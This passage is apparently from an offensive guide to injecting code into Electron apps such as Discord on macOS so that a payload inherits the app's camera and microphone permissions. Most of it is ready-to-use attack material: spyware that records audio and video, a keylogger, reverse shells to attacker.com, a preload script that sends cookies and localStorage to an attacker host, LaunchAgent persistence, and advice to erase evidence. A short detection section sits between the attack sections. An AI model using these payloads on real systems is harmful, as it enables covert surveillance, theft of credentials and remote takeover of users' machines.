"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.discord.tcc.bypass</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Discord.app/Contents/MacOS/Discord</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("/Users/user/audiocapture");</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Execute:
# Load PLIST
launchctl load launchdiscord.plist
# Verify recording created
ls -l /tmp/recordmic.m4a
# Unload for re-execution
launchctl unload launchdiscord.plist
Why LaunchD?
- Avoids inheriting Terminal’s sandbox profile
- Uses Discord’s actual TCC permissions
- No user prompt if Discord already has camera/mic access
- Completely invisible to user
Injection Method 2: Debug Port
Starting Debug Mode
# Start with default port (9229)
/Applications/Discord.app/Contents/MacOS/Discord --inspect
# Output:
# Debugger listening on ws://127.0.0.1:9229/e9e50e1d-c33c-4334-8d72-c482d4e6d244
# Start with custom port
/Applications/Discord.app/Contents/MacOS/Discord --inspect=9230
Chrome DevTools Attachment
- Open Chrome and navigate to
chrome://inspect - Click “inspect” next to the target application
- Opens DevTools with Console access
Console Commands:
// Same as Node.js REPL
const { spawn } = require('child_process');
spawn("/Users/user/audiocapture");
LaunchD PLIST for Debug Mode
launchdiscordinspect.plist:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.discord.tcc.bypass.inspect</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Discord.app/Contents/MacOS/Discord</string>
<string>--inspect</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Execute:
launchctl load launchdiscordinspect.plist
# Navigate to chrome://inspect
# Click "inspect"
# Run payload in console
WebSocket Direct Connection
Advanced: Write custom tool to connect directly to debug WebSocket
// Pseudo-code for direct connection
const WebSocket = require('ws');
const ws = new WebSocket('ws://127.0.0.1:9229/[uuid]');
ws.on('open', function open() {
ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: 'const { spawn } = require("child_process"); spawn("/Users/user/audiocapture");'
}
}));
});
Injection Method 3: Source Code Modification
Why This Works
Gatekeeper Behavior:
- Full signature check only at first execution
- Subsequent runs only verify executable code via AMFI
- JavaScript files are not executable code
- .asar archives are not executable code
Attack Window: After first legitimate launch, can modify non-executable files.
Extracting app.asar
# Install asar tool
npm install asar
# Create extraction directory
mkdir unpack
# Extract archive
npx asar extract /Applications/Discord.app/Contents/Resources/app.asar unpack
# Verify extraction
ls -lR unpack/
Identifying Main Entry Point
# Check package.json for main file
cat unpack/package.json
# Example output:
# {
# "name": "discord",
# "main": "app_bootstrap/index.js",
# ...
# }
Video Capture Payload
videocapture.m:
#import <AVFoundation/AVFoundation.h>
@interface VideoSnap : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureMovieFileOutput *videoFileOutput;
@property (strong, nonatomic) AVCaptureSession *session;
-(void)record;
@end
@implementation VideoSnap
-(void)record {
// Grab video and audio devices
AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
// Init session
self.session = [[AVCaptureSession alloc] init];
// Init inputs
AVCaptureDeviceInput *videoInput = [AVCaptureDeviceInput deviceInputWithDevice:videoDevice error:nil];
AVCaptureDeviceInput *audioInput = [AVCaptureDeviceInput deviceInputWithDevice:audioDevice error:nil];
// Init output
self.videoFileOutput = [[AVCaptureMovieFileOutput alloc] init];
// Add to session
[self.session addInput:audioInput];
[self.session addInput:videoInput];
[self.session addOutput:self.videoFileOutput];
// Start recording
[self.session startRunning];
[self.videoFileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/spycam.mov"]
recordingDelegate:self];
// Stop after 15 seconds
[NSTimer scheduledTimerWithTimeInterval:15 target:self selector:@selector(stopRecording:) userInfo:nil repeats:NO];
}
-(void)stopRecording:(int)sigNum {
[self.videoFileOutput stopRecording];
}
-(void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray *)connections
error:(NSError *)error {
[self.session stopRunning];
exit(0);
}
@end
int main(int argc, const char * argv[]) {
VideoSnap* vs = [[VideoSnap alloc] init];
[vs record];
[[NSRunLoop currentRunLoop] run];
}
Compile:
gcc -framework Foundation -framework AVFoundation videocapture.m -o videocapture
Injecting Into Source Code
Edit unpack/app_bootstrap/index.js:
"use strict";
// INJECTED CODE - Add at beginning
const { spawn } = require("child_process");
spawn("/Users/user/videocapture");
// END INJECTION
const {
app
} = require('electron');
// ... rest of original code
Repacking and Deployment
# Backup original
cp /Applications/Discord.app/Contents/Resources/app.asar app.asar.backup
# Repack modified source
npx asar pack unpack app.asar
# Replace original
cp app.asar /Applications/Discord.app/Contents/Resources/app.asar
# Launch application
open /Applications/Discord.app
# Verify recording
ls -l /tmp/spycam.mov
Alternative: Unpacked Source
If app doesn’t use .asar:
# Source files located directly in Resources/
ls /Applications/SomeApp.app/Contents/Resources/app/
# Edit main file directly
nano /Applications/SomeApp.app/Contents/Resources/app/main.js
# Add injection code at top of file
TCC Bypass Techniques
Understanding TCC Inheritance
Key Principle: Child processes inherit parent’s TCC permissions
Discord (has camera/mic access)
└── spawned process (inherits access)
└── audiocapture binary (records via inheritance)
Why User Sees Harmless Prompt:
- TCC prompt shows child binary name (e.g., “audiocapture”)
- User thinks: “Some helper tool needs mic access”
- Doesn’t realize it’s being exploited via Discord
Sandbox Profile Inheritance
From Terminal:
# Bad: Inherits Terminal's sandbox
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Prompt: "Terminal would like to access the microphone"
From LaunchD:
# Good: Uses Discord's sandbox
launchctl load launchdiscord.plist
# Prompt: "Discord would like to access the microphone"
Complete TCC Bypass Flow
1. User launches Discord (first time)
└── Gatekeeper performs full signature check
└── User grants camera/mic permissions to Discord
2. Attacker modifies app.asar
└── Injects spawn() call to recording binary
3. User launches Discord (subsequent times)
└── AMFI only checks executable code (passes)
└── Modified JavaScript executes
└── Spawns recording binary
└── Binary inherits Discord's TCC permissions
└── Records audio/video without new prompts
TCC Database Inspection
# View TCC database
sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT * FROM access WHERE service='kTCCServiceMicrophone';"
# Reset TCC for Discord
tccutil reset Microphone com.hnc.Discord
tccutil reset Camera com.hnc.Discord
Attack Surface Overview
Electron applications expose multiple attack vectors for code injection and privilege abuse:
| Attack Vector | Prerequisites | Detection Difficulty | Impact |
|---|---|---|---|
| Environment Variable Injection | ELECTRON_RUN_AS_NODE not disabled |
Low | Full Node.js REPL access |
| Debug Port Injection | --inspect flag available |
Medium | Remote code execution via WebSocket |
| Source Code Modification | Write access to app.asar or Resources/ | Medium-High | Persistent code execution |
| LaunchAgent Abuse | User-level file write | Low | TCC bypass via process inheritance |
| Fuse Bypass | Older Electron versions | Medium | All injection methods enabled |
| TCC Inheritance Abuse | Parent app has TCC permissions | Very High | Silent camera/mic access |
| ASAR Integrity Bypass | No runtime hash verification | High | Undetected code modification |
Vulnerability Conditions Table
| Condition | Attack Type | Exploitable When | Impact |
|---|---|---|---|
ELECTRON_RUN_AS_NODE enabled |
Environment injection | Fuses not configured or old Electron | Full Node.js access with app’s privileges |
| Debug flags accepted | Debug port injection | --inspect or --remote-debugging-port works |
Remote code execution |
| app.asar writable | Source modification | User has write permissions after first launch | Persistent backdoor in JavaScript code |
| No integrity checks | ASAR tampering | Runtime doesn’t verify SHA-256/512 hash | Undetected malicious code injection |
| TCC permissions granted | Permission inheritance | Child processes inherit parent TCC | Silent camera/mic/contacts access |
| LaunchAgent directory writable | Persistence | ~/Library/LaunchAgents/ accessible |
Execution on login/load |
| Unpacked source files | Direct file modification | No .asar archive used | Edit .js files directly |
| Gatekeeper runs once | Post-launch modification | After first signature check | Non-executable code changes allowed |
| Hardened runtime enabled | Traditional injection blocked | Prevents dylib injection | Forces Electron-specific techniques |
Detection Methods
1. Static Analysis - Application Inspection
Check Fuse Configuration:
# Dump fuses from binary
strings /Applications/Discord.app/Contents/MacOS/Discord | grep -A5 -B5 "dL7pKGdnNz"
# Check for RunAsNode fuse (should be disabled)
# Byte pattern: 0x30 (disabled) or 0x31 (enabled)
# Alternative: Check with electron-fuses tool
npm install -g @electron/fuses
npx electron-fuses read /Applications/Discord.app/Contents/MacOS/Discord
Verify ASAR Integrity:
# Check if Info.plist contains integrity hash
/usr/libexec/PlistBuddy -c "Print :ElectronAsarIntegrity" \
/Applications/Discord.app/Contents/Info.plist
# Calculate actual hash
shasum -a 256 /Applications/Discord.app/Contents/Resources/app.asar
# Compare with expected
Inspect Launch Constraints:
# Check for debug-related launch arguments
ps aux | grep -i electron | grep -E '(inspect|remote-debugging)'
# Review LaunchAgents for suspicious environment variables
grep -r "ELECTRON_RUN_AS_NODE" ~/Library/LaunchAgents/
Code Review Indicators:
# Extract and search for suspicious patterns
npx asar extract app.asar extracted/
# Search for spawn/exec calls
grep -r "spawn\|exec\|eval" extracted/ --include="*.js"
# Check for external script loading
grep -r "require.*http\|fetch.*\.js" extracted/ --include="*.js"
2. Dynamic Analysis - Runtime Monitoring
Monitor Process Creation:
# Use sudo execsnoop to watch child processes
sudo execsnoop -n Discord
# Output shows spawned binaries:
# PCOMM: Discord
# PID: 1234 PPID: 1 RET: 0 ARGS: /Users/user/audiocapture
# fswatch to detect asar modifications
fswatch -0 /Applications/Discord.app/Contents/Resources/app.asar | \
xargs -0 -n 1 -I {} echo "ASAR modified: {}"
Network Connection Monitoring:
# Detect debug port listeners
lsof -iTCP -sTCP:LISTEN | grep -E '(9229|9230)'
# Output:
# Discord 1234 user 10u IPv4 0x... TCP localhost:9229 (LISTEN)
# Monitor WebSocket connections to debug port
tcpdump -i lo0 -A 'tcp port 9229'
TCC Database Monitoring:
# Watch for TCC changes
sudo fs_usage -w -f filesys | grep TCC.db
# Query for unusual child process permissions
sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT service, client, auth_value FROM access WHERE client LIKE '%audiocapture%';"
LaunchAgent Monitoring:
# Monitor LaunchAgent directory
fswatch ~/Library/LaunchAgents/ | while read file; do
echo "LaunchAgent modified: $file"
grep -l "ELECTRON_RUN_AS_NODE" "$file" && echo "ALERT: Electron injection detected"
done
3. Code Review Detection
JavaScript Injection Patterns:
// Suspicious patterns in main process code:
// 1. Dynamic require with user input
const module = require(userInput); // DANGEROUS
// 2. Eval/Function constructor
eval(externalData);
new Function(externalData)();
// 3. Child process creation in main process
const { spawn, exec } = require('child_process');
spawn(untrustedPath); // Check if path is validated
// 4. File writes to sensitive locations
fs.writeFileSync('~/.zshrc', maliciousCode);
// 5. IPC without validation
ipcMain.on('arbitrary-command', (event, cmd) => {
exec(cmd); // NO VALIDATION
});
LaunchAgent PLIST Indicators:
<!-- Red flags in PLIST files: -->
<!-- 1. ELECTRON_RUN_AS_NODE set -->
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string> <!-- SUSPICIOUS -->
</dict>
<!-- 2. -e flag with inline code -->
<array>
<string>/Applications/Discord.app/Contents/MacOS/Discord</string>
<string>-e</string> <!-- Inline evaluation -->
<string>require("child_process").spawn(...)</string>
</array>
<!-- 3. Debug flags -->
<array>
<string>--inspect</string> <!-- Debug mode enabled -->
<string>--inspect-brk</string>
</array>
Exploitation Methods
Method 1: ELECTRON_RUN_AS_NODE REPL Access
When to Use:
- Target app doesn’t have fuses configured
- Need interactive Node.js access
- Testing TCC inheritance quickly
Execution:
# Basic REPL access
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Execute inline code
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord \
-e "console.log(require('os').userInfo())"
# Spawn child with inherited TCC
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord \
-e "require('child_process').spawn('/Users/user/payload')"
Advanced Payload - Keylogger:
// keylogger.js - Run via ELECTRON_RUN_AS_NODE
const ioHook = require('iohook');
const fs = require('fs');
const logFile = '/tmp/.keylog';
ioHook.on('keypress', (event) => {
const data = `${new Date().toISOString()}: ${event.rawcode}\n`;
fs.appendFileSync(logFile, data);
});
ioHook.start();
Execution:
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord keylogger.js
Method 2: Debug Port Remote Code Execution
When to Use:
- Target accepts
--inspectflag - Remote access preferred over local REPL
- Multi-step exploitation needed
Start Debug Session:
# Launch with debug port
/Applications/Discord.app/Contents/MacOS/Discord --inspect=9229
# Via LaunchAgent for persistence
cat > ~/Library/LaunchAgents/com.app.debug.plist << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.app.debug</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Discord.app/Contents/MacOS/Discord</string>
<string>--inspect=9229</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
EOF
launchctl load ~/Library/LaunchAgents/com.app.debug.plist
WebSocket Exploitation:
// exploit-debug.js
const WebSocket = require('ws');
// Get debug UUID
const http = require('http');
http.get('http://127.0.0.1:9229/json', (res) => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => {
const info = JSON.parse(data)[0];
const wsUrl = info.webSocketDebuggerUrl;
// Connect to debugger
const ws = new WebSocket(wsUrl);
ws.on('open', () => {
// Execute reverse shell
const payload = {
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `
const { spawn } = require('child_process');
spawn('bash', ['-c', 'bash -i >& /dev/tcp/attacker.com/4444 0>&1']);
`
}
};
ws.send(JSON.stringify(payload));
});
});
});
Method 3: ASAR Archive Modification
When to Use:
- Need persistent code execution
- User has write access to app bundle
- App has no integrity verification
Extraction and Analysis:
# Extract ASAR
npm install -g asar
npx asar extract /Applications/Discord.app/Contents/Resources/app.asar extracted/
# Find entry point
cat extracted/package.json | grep '"main"'
# Output: "main": "app_bootstrap/index.js"
# Locate renderer process files
find extracted/ -name "index.html" -o -name "preload.js"
Injection Strategy:
// extracted/app_bootstrap/index.js - Add at top
const { spawn } = require('child_process');
const os = require('os');
const path = require('path');
// Payload location
const payloadPath = path.join(os.homedir(), '.local', 'payload');
// Execute on every app launch
if (require('fs').existsSync(payloadPath)) {
spawn(payloadPath, {
detached: true,
stdio: 'ignore'
}).unref();
}
// Original code continues below...
const { app } = require('electron');
// ...
Repackaging:
# Repack modified source
npx asar pack extracted/ app.asar
# Backup original
cp /Applications/Discord.app/Contents/Resources/app.asar \
/Applications/Discord.app/Contents/Resources/app.asar.bak
# Replace with modified version
cp app.asar /Applications/Discord.app/Contents/Resources/app.asar
# Test - should execute payload on launch
open /Applications/Discord.app
Method 4: LaunchAgent TCC Bypass
When to Use:
- Target app has camera/microphone TCC permissions
- Need to bypass TCC without user prompt
- Want invisible background execution
Audio Recording Payload:
// record-audio.m
#import <AVFoundation/AVFoundation.h>
@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong) AVCaptureSession *session;
@property (strong) AVCaptureAudioFileOutput *output;
@end
@implementation AudioRecorder
-(void)start {
AVCaptureDevice *device = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
self.session = [[AVCaptureSession alloc] init];
AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:device error:nil];
self.output = [[AVCaptureAudioFileOutput alloc] init];
[self.session addInput:input];
[self.session addOutput:self.output];
[self.session startRunning];
NSString *outPath = [NSString stringWithFormat:@"/tmp/rec-%@.m4a",
[[NSProcessInfo processInfo] globallyUniqueString]];
[self.output startRecordingToOutputFileURL:[NSURL fileURLWithPath:outPath]
outputFileType:AVFileTypeAppleM4A
recordingDelegate:self];
// Stop after 30 seconds
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 30 * NSEC_PER_SEC),
dispatch_get_main_queue(), ^{
[self.output stopRecording];
});
}
-(void)captureOutput:(AVCaptureFileOutput *)output
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray *)connections
error:(NSError *)error {
[self.session stopRunning];
NSLog(@"Saved to: %@", outputFileURL.path);
exit(0);
}
@end
int main() {
@autoreleasepool {
AudioRecorder *rec = [[AudioRecorder alloc] init];
[rec start];
[[NSRunLoop currentRunLoop] run];
}
}
Compile:
gcc -framework Foundation -framework AVFoundation record-audio.m -o record-audio
LaunchAgent PLIST:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.audio.capture</string>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>1</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Discord.app/Contents/MacOS/Discord</string>
<string>-e</string>
<string>require('child_process').spawn('/Users/user/record-audio')</string>
</array>
<key>StartInterval</key>
<integer>3600</integer> <!-- Run every hour -->
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Deploy:
cp com.audio.capture.plist ~/Library/LaunchAgents/
launchctl load ~/Library/LaunchAgents/com.audio.capture.plist
# Check logs
tail -f /tmp/rec-*.m4a
Method 5: Unpacked Source Direct Modification
When to Use:
- Target doesn’t use .asar archive
- Source files in Resources/app/ directory
- Faster than extract/repack cycle
Detection:
# Check for unpacked source
ls -la /Applications/SomeApp.app/Contents/Resources/app/
# If directory exists (not .asar file), source is unpacked
# Output:
# drwxr-xr-x main/
# drwxr-xr-x renderer/
# -rw-r--r-- package.json
Direct Injection:
# Find main entry
MAIN=$(cat /Applications/SomeApp.app/Contents/Resources/app/package.json | \
jq -r '.main')
# Backup original
cp "/Applications/SomeApp.app/Contents/Resources/app/$MAIN" \
"/Applications/SomeApp.app/Contents/Resources/app/${MAIN}.bak"
# Create injection payload
cat > /tmp/inject.js << 'EOF'
const { spawn } = require('child_process');
const path = require('path');
// Reverse shell payload
const payload = `
python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("attacker.com",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"])'
`;
spawn('bash', ['-c', payload], {
detached: true,
stdio: 'ignore'
}).unref();
EOF
# Prepend injection to main file
cat /tmp/inject.js > /tmp/newmain.js
cat "/Applications/SomeApp.app/Contents/Resources/app/$MAIN" >> /tmp/newmain.js
cp /tmp/newmain.js "/Applications/SomeApp.app/Contents/Resources/app/$MAIN"
Method 6: Preload Script Injection
When to Use:
- Want to inject into renderer process
- Need access to Node.js APIs in browser context
- Target uses
webPreferences.preload
Identify Preload Scripts:
# Search for preload configurations
npx asar extract app.asar extracted/
grep -r "preload:" extracted/ --include="*.js"
# Output shows:
# extracted/main.js: webPreferences: { preload: path.join(__dirname, 'preload.js') }
Inject into Preload:
// Add to beginning of preload.js
const { ipcRenderer } = require('electron');
const { spawn } = require('child_process');
// Exfiltrate localStorage data
window.addEventListener('DOMContentLoaded', () => {
const sensitive = {
localStorage: window.localStorage,
cookies: document.cookie,
url: window.location.href
};
// Send to attacker
const exfil = spawn('curl', [
'-X', 'POST',
'-H', 'Content-Type: application/json',
'-d', JSON.stringify(sensitive),
'https://attacker.com/exfil'
]);
});
// Original preload code continues...
Exploitation Tips
Pre-Exploitation:
- Identify Electron app (check for app.asar or Electron Framework)
- Verify version:
strings AppName | grep "Chrome/" - Check fuse configuration for RunAsNode
- Test ELECTRON_RUN_AS_NODE environment variable
- Test –inspect flag acceptance
- Identify TCC permissions:
tccutil list - Check write permissions on app bundle
- Verify if asar is packed or unpacked source
- Locate main entry point from package.json
- Check for integrity verification in code
Exploitation:
- Choose attack method (env var, debug, source mod)
- Prepare payload binary (audio/video capture, reverse shell)
- Test payload works standalone first
- If using LaunchAgent, craft PLIST with proper environment
- If modifying source, extract and backup original
- Inject payload at earliest execution point
- If using asar, repack with same compression
- Replace original file (backup first)
- Clear quarantine flags if needed:
xattr -cr AppName.app - Test injection triggers on app launch
Post-Exploitation:
- Verify payload executes: check process list
- Confirm TCC inheritance: check spawned process permissions
- Monitor output:
/tmp/files, network connections - Establish persistence if needed (LaunchAgent, login items)
- Clean up evidence: remove backups, clear logs
- Test app still functions normally (stealth)
- Document which method worked for future reference